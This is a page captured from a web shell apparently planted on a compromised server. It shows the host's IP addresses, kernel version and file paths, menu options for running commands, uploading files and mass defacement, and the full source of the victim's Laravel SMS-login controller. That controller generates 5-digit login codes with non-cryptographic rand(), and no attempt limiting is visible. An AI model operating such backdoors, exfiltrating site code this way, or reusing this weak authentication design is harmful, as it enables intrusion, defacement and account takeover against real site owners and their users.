���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
npln
/
app
/
Http
/
Controllers
/
api
/
v1
/
Viewing: AuthController.php
<?php namespace App\Http\Controllers\api\v1; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use function App\Helpers\error_response; use function App\Helpers\success_response; use Illuminate\Support\Facades\Validator; use function App\Helpers\sendSms; use Illuminate\Http\Request; use App\Models\RegisterCode; use App\Models\User; class AuthController extends Controller { public function send_sms(Request $request){ $validation=Validator::make($request->all(),[ 'mobile' => 'required|digits:11', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $user=User::where('mobile',$request->mobile)->first(); if($user){ if($user->roll != 'user'){ return error_response('این شماره قبلا برای حساب ادمین شما مورد استفاده قرار گرفته است'); } $data=['status-user'=>'has-user']; }else{ $data=['status-user'=>'no-account']; } //create-code-and-save $rand=rand(10000,99999); //save-send-code RegisterCode::where('mobile',$request->mobile)->where('status','pending')->update([ 'status'=>'use' ]); RegisterCode::create([ 'mobile'=>$request->mobile, 'code'=>$rand ]); //send-sms sendSms($request->mobile,$rand,'nplnLogin'); //response return success_response($data); } public function login(Request $request){ $validation=Validator::make($request->all(),[ 'code' => 'required', 'mobile' => 'required|digits:11', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } //check-register $register=RegisterCode::where('mobile',$request->mobile)->where('status','pending')->latest()->first(); if($register){ //check-code if($request->code == $register->code){ $user=User::where('mobile',$request->mobile)->first(); RegisterCode::where('mobile',$request->mobile)->where('status','pending')->update([ 'status'=>'use' ]); if($user){ //response $data=['user'=> $user,'token'=>$user->createToken('API Token')->plainTextToken]; return success_response($data); }else{ //create-account $user=User::create([ 'mobile'=>$request->mobile, 'roll'=>'user', ]); $user->assignRole('user'); //response $data=['user'=> $user,'token'=>$user->createToken('API Token')->plainTextToken]; return success_response($data); } }else{ return error_response('کد وارد شده صحیح نمی باشد'); } }else{ return error_response('به شماره موبایل وارد شده کدی ارسال نشده است'); } } public function logout() { auth()->user()->tokens()->delete(); return success_response('Tokens Revoked'); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa